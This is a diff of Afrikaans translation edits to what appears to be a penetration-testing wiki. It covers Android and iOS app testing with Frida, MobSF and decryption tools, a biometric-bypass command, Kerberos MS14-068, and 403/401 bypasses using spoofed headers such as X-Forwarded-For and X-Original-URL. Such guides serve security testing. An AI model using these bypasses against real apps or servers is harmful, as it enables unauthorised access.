+- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om die verkeer na burp te **stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Soek na Algemene Web Kwesbaarhede
@@ -370,15 +427,15 @@ Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassin
**Jy kan lopende toepassings toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\
As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
-- Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/)
+- Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/index.html)
- Sommige "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is wonderlik om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
-- Jy kan 'n paar wonderlike Frida-skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+- Jy kan 'n paar wonderlike Frida skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (gereedskap [linjector](https://github.com/erfur/linjector-rs))
### **Dump Geheue - Fridump**
-Kyk of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics.
+Kontroleer of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics.
Met [**Fridump3**](https://github.com/rootbsd/fridump3) kan jy die geheue van die app dump met:
```bash
@@ -389,7 +446,7 @@ python3 fridump3.py -u
frida-ps -Uai
python3 fridump3.py -u ""
```
-Dit sal die geheue in die ./dump gids dump, en daarin kan jy grep met iets soos:
+Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
@@ -405,13 +462,13 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Vingerafdruk/Biometriese Omseiling**
-Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** in Android-toepassings te omseil wat dalk uitgevoer word om **sekere sensitiewe areas te beskerm:**
+Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te **omseil** wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f
```
### **Agtergrond Beelde**
-Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin laai van die beeld voordat die app, sodat dit lyk asof die app vinniger gelaai is.
+Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin laai die beeld voordat die app, sodat dit lyk asof die app vinniger gelaai is.
As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root nodig het om toegang te verkry).
@@ -429,12 +486,12 @@ Hierdie hulpmiddel kan jou help om verskillende hulpmiddels te bestuur tydens di
Ontwikkelaars skep dikwels proxy-komponente soos aktiwiteite, dienste en uitsendingsontvangers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` oorplaas, wat riskant kan wees.
-Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang te verkry tot sensitiewe inhoudverskaffers deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent-inspuitings.
+Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent-inspuitings.
### Belangrike Afleidings
- **Intent Inspuiting** is soortgelyk aan die web se Open Redirect probleem.
-- Exploits behels die oorplasing van `Intent`-objekte as ekstra's, wat herlei kan word om onveilige operasies uit te voer.
+- Exploits behels die oorplasing van `Intent`-objekte as ekstra's, wat omgerig kan word om onveilige operasies uit te voer.
- Dit kan nie-geëksporteerde komponente en inhoudverskaffers aan aanvallers blootstel.
- `WebView`’s URL na `Intent` omskakeling kan onbedoelde aksies fasiliteer.
@@ -466,7 +523,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
Let wel dat MobSF **Android**(apk)**, IOS**(ipa) **en Windows**(apx) toepassings kan analiseer (_Windows toepassings moet geanaliseer word vanaf 'n MobSF wat op 'n Windows-gasheer geïnstalleer is_).\
As jy ook 'n **ZIP**-lêer met die bronkode van 'n **Android** of **IOS** app skep (gaan na die wortelgids van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
-MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer.
+MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer.
### Geassisteerde dinamiese analise met MobSF
@@ -484,25 +541,25 @@ Van Android **weergawe > 5**, sal dit **outomaties Frida begin** en globale **pr
Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** en om **interessante API's** te **moniteer**.\
MobSF kan ook **uitgevoerde aktiwiteite** aanroep, **skermskote** daarvan neem en dit **stoor** vir die verslag.
-Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Begin Instrumentasie**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Begin Instrumentasie" gedruk het).\
-MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer byvoeg in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), kies net **hulle**, druk "**Laai**" en druk "**Begin Instrumentasie**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien).
+Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\
+MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer by `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` voeg), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien).
.png>)
Boonop het jy 'n paar bykomende Frida-funksies:
-- **Gelaaide Klasse Opnoem**: Dit sal al die gelaaide klasse druk
-- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaiig)
-- **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Onwaar was.
-- **Klas Metodes Opnoem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
-- **Klas Patroon Soek**: Soek klasse volgens patroon
-- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace.
+- **Lade Klasse**: Dit sal al die gelaaide klasse druk
+- **Vang Strings**: Dit sal al die gevangenis strings druk terwyl jy die toepassing gebruik (baie lawaaiig)
+- **Vang String Vergelykings**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Onwaar was.
+- **Lade Klas Metodes**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
+- **Soek Klas Patroon**: Soek klasse volgens patroon
+- **Trace Klas Metodes**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes traceer.
-Sodra jy die bykomende module gekies het wat jy wil gebruik, moet jy druk op "**Begin Instrumentasie**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
+Sodra jy die bykomende module wat jy wil gebruik gekies het, moet jy druk op "**Start Instrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
**Shell**
-Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** onderaan die dinamiese analise bladsy. Sommige interessante opdragte:
+Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** aan die onderkant van die dinamiese analise bladsy. Sommige interessante opdragte:
```bash
help
shell ls
@@ -538,7 +595,7 @@ Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI** uit te voer.
### [Qark](https://github.com/linkedin/qark)
-Hierdie gereedskap is ontwerp om te soek na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede**, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
+Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@@ -558,11 +615,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
-SUPER is 'n opdraglyn-toepassing wat gebruik kan word in Windows, MacOS X en Linux, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
+SUPER is 'n opdraglyn-toepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reëls skep om te analiseer wat hulle nodig het.
-Laai die nuutste binêre af van die [aflaai bladsy](https://superanalyzer.rocks/download.html)
+Laai die nuutste binêre af van die [download page](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@@ -572,7 +629,7 @@ super-analyzer {apk_file}
StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statische kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
-Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa-lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
+Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
Laai [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases):
```
@@ -605,10 +662,10 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
Dit kan:
- Java en Smali kode onttrek met behulp van verskillende hulpmiddels
-- APK's analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
+- APK's analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Privaat inligting uit die APK onttrek met behulp van regexps.
- Die Manifest analiseer.
-- Gevonde domeine analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
+- Gevonde domeine analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
@@ -633,7 +690,7 @@ Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/d
- laai 'n hulpbron as 'n InputStream;
- voer die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel;
-- doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omkeerder te mors;
+- doen 'n nuttelose obfuskeringsproses om 'n paar minute se tyd van 'n omkeerder te mors;
- voer die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry;
- laastens laai die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode.
@@ -645,7 +702,7 @@ Jy kan 'n obfuskeer APK na hul platform oplaai.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
-Dit is 'n LLM hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android toepassings te vind en android app kode te deobfuskeer. Gebruik Google se Gemini publieke API.
+Dit is 'n LLM hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android toepassings te vind en android toepassingskode te deobfuskeer. Gebruik Google se Gemini publieke API.
### [Simplify](https://github.com/CalebFenton/simplify)
@@ -657,7 +714,7 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko
### Manual
-[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskerings te keer**](manual-deobfuscation.md)
+[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskering te reverseer**](manual-deobfuscation.md)
## Labs
diff --git a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md
index 97b92f695..580f494f0 100644
--- a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md
+++ b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md
@@ -6,7 +6,7 @@
### **Identifisering van die UDID van 'n iOS Toestel**
-Om 'n iOS toestel uniek te identifiseer, word 'n 40-syfer volgorde bekend as die UDID gebruik. Op macOS Catalina of nuwer, kan dit in die **Finder app** gevind word, aangesien iTunes nie meer teenwoordig is nie. Die toestel, eenmaal via USB gekoppel en in Finder gekies, openbaar sy UDID onder ander inligting wanneer die besonderhede onder sy naam geklik word.
+Om 'n iOS toestel uniek te identifiseer, word 'n 40-syfer volgorde bekend as die UDID gebruik. Op macOS Catalina of nuwer, kan dit in die **Finder app** gevind word, aangesien iTunes nie meer teenwoordig is nie. Die toestel, eenmaal gekoppel via USB en in Finder gekies, openbaar sy UDID onder ander inligting wanneer die besonderhede onder sy naam geklik word.
Vir weergawes van macOS voor Catalina, fasiliteer iTunes die ontdekking van die UDID. Gedetailleerde instruksies kan [hier](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) gevind word.
@@ -31,14 +31,14 @@ $ instruments -s devices
```
### **Toegang tot die Toestel Skulp**
-**SSH-toegang** word geaktiveer deur die **OpenSSH-pakket** na jailbreak te installeer, wat verbindings via `ssh root@` moontlik maak. Dit is noodsaaklik om die standaard wagwoorde (`alpine`) vir die gebruikers `root` en `mobile` te verander om die toestel te beveilig.
+**SSH-toegang** is geaktiveer deur die **OpenSSH-pakket** na jailbreak te installeer, wat verbindings via `ssh root@` moontlik maak. Dit is noodsaaklik om die standaard wagwoorde (`alpine`) vir die gebruikers `root` en `mobile` te verander om die toestel te beveilig.
-**SSH oor USB** word noodsaaklik in die afwesigheid van Wi-Fi, met `iproxy` om toestelpoorte vir SSH-verbindings te kaart. Hierdie opstelling stel SSH-toegang deur USB in staat deur die volgende te loop:
+**SSH oor USB** word noodsaaklik in die afwesigheid van Wi-Fi, met `iproxy` om toestelpoorte vir SSH-verbinding te kaart. Hierdie opstelling stel SSH-toegang deur USB in staat deur die volgende uit te voer:
```bash
$ iproxy 2222 22
$ ssh -p 2222 root@localhost
```
-**Op-toestel-skaal toepassings**, soos NewTerm 2, fasiliteer direkte toestelinteraksie, veral nuttig vir probleemoplossing. **Reverse SSH shells** kan ook gevestig word vir afstandstoegang vanaf die gasheerrekenaar.
+**Op-toestel-skaal toepassings**, soos NewTerm 2, fasiliteer direkte toestelinteraksie, veral nuttig vir probleemoplossing. **Omgekeerde SSH-skaal** kan ook gevestig word vir afstandstoegang vanaf die gasrekenaar.
### **Herstel van Vergete Wagwoorde**
@@ -56,11 +56,11 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
```
### **Grafiese Gebruikerskoppelvlak Gereedskap**
-**Gebruik iFunbox en iExplorer:** Hierdie GUI-gereedskap is nuttig vir die bestuur van lêers op iOS-toestelle. egter, begin met iOS 8.4, het Apple hierdie gereedskap se toegang tot die toepassingsandbox beperk tensy die toestel gejailbreak is.
+**Gebruik iFunbox en iExplorer:** Hierdie GUI-gereedskap is nuttig vir die bestuur van lêers op iOS-toestelle. egter, begin met iOS 8.4, het Apple hierdie gereedskap se toegang tot die aansoek sandbox beperk tensy die toestel gejailbreak is.
### **Gebruik Objection vir Lêerbestuur**
-**Interaktiewe Skulp met Objection:** Die bekendstelling van objection bied toegang tot die Bundle-gids van 'n app. Van hier af kan jy na die app se Dokumente-gids navigeer en lêers bestuur, insluitend die aflaai en oplaai daarvan na en van die iOS-toestel.
+**Interaktiewe Skulp met Objection:** Die bekendstelling van objection bied toegang tot die Bundle-gids van 'n aansoek. Van hier af kan jy na die aansoek se Dokumente-gids navigeer en lêers bestuur, insluitend die aflaai en oplaai daarvan na en van die iOS-toestel.
```bash
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@@ -70,7 +70,7 @@ file download
### **Verkryging van die IPA-lêer**
-**Over-The-Air (OTA) Verspreidingskakel:** Apps wat vir toetsing via OTA versprei word, kan afgelaai word met die ITMS dienste bates aflaaigereedskap, wat via npm geïnstalleer word en gebruik word om die IPA-lêer plaaslik te stoor.
+**Over-The-Air (OTA) Verspreidingskakel:** Apps wat vir toetsing via OTA versprei word, kan afgelaai word met behulp van die ITMS dienste bates aflaaigereedskap, wat via npm geïnstalleer word en gebruik word om die IPA-lêer plaaslik te stoor.
```bash
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
@@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
### **Dekripsie Proses**
-**Handmatige Dekripsie Oorsig:** iOS app binêre is deur Apple met FairPlay geënkripteer. Om omgekeerd te werk, moet 'n mens die gedekripteerde binêre uit geheue dump. Die dekripsie proses behels die nagaan van die PIE-vlag, die aanpassing van geheuevlagte, die identifisering van die geënkripteerde afdeling, en dan die dump en vervanging van hierdie afdeling met sy gedekripteerde vorm.
+**Handmatige Dekripsie Oorsig:** iOS app binêre is deur Apple met FairPlay versleuteld. Om omgekeerd te werk, moet 'n mens die gedekripteerde binêre uit geheue dump. Die dekripsie proses behels die nagaan van die PIE-vlag, die aanpassing van geheuevlagte, die identifisering van die versleutelde afdeling, en dan die dump en vervanging van hierdie afdeling met sy gedekripteerde vorm.
**Nagaan en Wysig PIE Vlag:**
```bash
@@ -92,7 +92,7 @@ otool -Vh Hello_World
```
**Identifisering van Versleutelde Afdeling en Dump van Geheue:**
-Bepaal die begin- en eindadresse van die versleutelde afdeling met behulp van `otool` en dump die geheue van die jailbreak-toestel met gdb.
+Bepaal die begin- en eindadresse van die versleutelde afdeling met behulp van `otool` en dump die geheue vanaf die jailbreak-toestel met gdb.
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000
@@ -132,7 +132,7 @@ flexdump dump Twitter.app
```
#### **bagbak**
-[**bagbak**](https://github.com/ChiChou/bagbak), 'n ander Frida-gebaseerde hulpmiddel, vereis 'n jailbreak-toestel vir app-dekriptering:
+[**bagbak**](https://github.com/ChiChou/bagbak), 'n ander Frida-gebaseerde hulpmiddel, vereis 'n jailbreak-toestel vir app-dekripsie:
```bash
bagbak --raw Chrome
```
@@ -142,7 +142,7 @@ bagbak --raw Chrome
### **Installeer Apps**
-**Sideloading** verwys na die installering van toepassings buite die amptelike App Store. Hierdie proses word hanteer deur die **installd daemon** en vereis dat apps met 'n Apple-uitgereikte sertifikaat onderteken word. Jailbroken toestelle kan dit omseil deur **AppSync**, wat die installering van vals-ondertekende IPA-pakkette moontlik maak.
+**Sideloading** verwys na die installering van toepassings buite die amptelike App Store. Hierdie proses word hanteer deur die **installd daemon** en vereis dat apps onderteken word met 'n Apple-uitgereikte sertifikaat. Jailbroken toestelle kan hierdie proses omseil deur **AppSync**, wat die installering van vals-ondertekende IPA-pakkette moontlik maak.
#### **Sideloading Gereedskap**
@@ -152,7 +152,7 @@ bagbak --raw Chrome
- **ipainstaller**: Hierdie opdraglyn-gereedskap stel direkte app-installasie op iOS-toestelle moontlik.
-- **ios-deploy**: Vir macOS-gebruikers installeer ios-deploy iOS-apps vanaf die opdraglyn. Ontzip van die IPA en die gebruik van die `-m` vlag vir direkte app-lancering is deel van die proses.
+- **ios-deploy**: Vir macOS-gebruikers installeer ios-deploy iOS-apps vanaf die opdraglyn. Die uitpak van die IPA en die gebruik van die `-m` vlag vir direkte app-lancering is deel van die proses.
- **Xcode**: Gebruik Xcode om apps te installeer deur na **Window/Devices and Simulators** te navigeer en die app by **Installed Apps** te voeg.
@@ -164,7 +164,7 @@ Om iPad-spesifieke toepassings op iPhone of iPod touch toestelle te installeer,
## References
-- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
+- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md
index d6924cfb4..4d870b998 100644
--- a/src/network-services-pentesting/pentesting-kerberos-88/README.md
+++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md
@@ -15,7 +15,7 @@ Na autentisering deur **Kerberos** word die besluitnemingsproses rakende toegang
PORT STATE SERVICE
88/tcp open kerberos-sec
```
-### **Om te leer hoe om Kerberos te misbruik, moet jy die pos oor** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** lees.**
+### **Om te leer hoe om Kerberos te misbruik, moet jy die pos oor** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)** lees.**
## Meer
@@ -25,7 +25,7 @@ PORT STATE SERVICE
### MS14-068
-Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word verkeerdelik deur die Domeinbeheerder gevalideer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
+Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word per ongeluk deur die Domeinbeheerder gevalideer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
{{#ref}}
https://adsecurity.org/?p=541
diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
index f7ad780e5..9316722ad 100644
--- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
+++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
@@ -7,14 +7,14 @@
Probeer om **verskillende werkwoorde** te gebruik om toegang tot die lêer te verkry: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
- Kontroleer die responskoppe, miskien kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die info kan verkry**. Maar jy moet steeds 'n manier vind om daardie info te exfiltreer.
-- Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die werkwoord wat gebruik word te oorskryf.
+- Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die gebruikte werkwoord te oorskryf.
- Gebruik **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk in die respons ook die **koppe wat deur tussenliggende proxies bygevoeg is** sien wat nuttig kan wees.
## HTTP Headers Fuzzing
- **Verander die Host-kop** na 'n arbitrêre waarde ([dit het hier gewerk](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- Probeer om [**ander User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) te gebruik om toegang tot die hulpbron te verkry.
-- **Fuzz HTTP Headers**: Probeer om HTTP Proxy **Headers**, HTTP Authentication Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
+- **Fuzz HTTP Headers**: Probeer om HTTP Proxy **Headers**, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@@ -35,9 +35,9 @@ As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hi
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
-- As die bladsy **agter 'n proxy is**, is dit dalk die proxy wat jou verhinder om toegang tot die private inligting te verkry. Probeer om [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **of** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)** te misbruik.**
-- Fuzz [**spesiale HTTP koppe**](special-http-headers.md) op soek na verskillende respons.
-- **Fuzz spesiale HTTP koppe** terwyl jy **HTTP Metodes** fuzz.
+- As die bladsy **agter 'n proxy** is, is dit dalk die proxy wat jou verhinder om toegang tot die private inligting te verkry. Probeer om [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **of** [**hop-by-hop koppe**](../../pentesting-web/abusing-hop-by-hop-headers.md)** te misbruik.**
+- Fuzz [**spesiale HTTP-koppe**](special-http-headers.md) op soek na verskillende respons.
+- **Fuzz spesiale HTTP-koppe** terwyl jy **HTTP Metodes** fuzz.
- **Verwyder die Host-kop** en miskien sal jy in staat wees om die beskerming te omseil.
## Path **Fuzzing**
